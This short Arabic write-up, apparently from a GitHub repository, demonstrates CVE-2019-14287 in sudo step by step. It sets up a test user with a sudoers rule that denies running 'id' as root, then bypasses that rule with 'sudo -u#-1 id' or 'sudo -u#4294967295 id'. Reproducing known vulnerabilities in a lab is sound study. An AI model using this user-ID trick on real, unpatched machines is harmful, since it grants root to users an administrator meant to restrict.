gurneesh/cve-2019-14287-write-upإثبات خطوة بخطوة لثغرة CVE-2019-14287 في sudo والتي تسمح للمستخدمين المقيدين بتنفيذ الأوامر كجذر عبر معرّفات مستخدمين مصمّمة خصيصًا.
4294967295 ثغرة Sudo تسمح للمستخدمين المقيّدين بتشغيل أوامر بصلاحيات المستخدم root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // إضافة كلمة مرور للمستخدم visudo
test ALL=(ALL, !root) /usr/bin/id // تحديد أن هذا المستخدم لا يمكنه استخدام أمر id مع المستخدم root
احفظ الملف واخرج من المستخدم root
sudo su - test
sudo id ستظهر لك الرسالة التالية: Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id أو sudo -u#4294967295 id
وهكذا، تكون قد نفّذت أمر id باستخدام المستخدم root
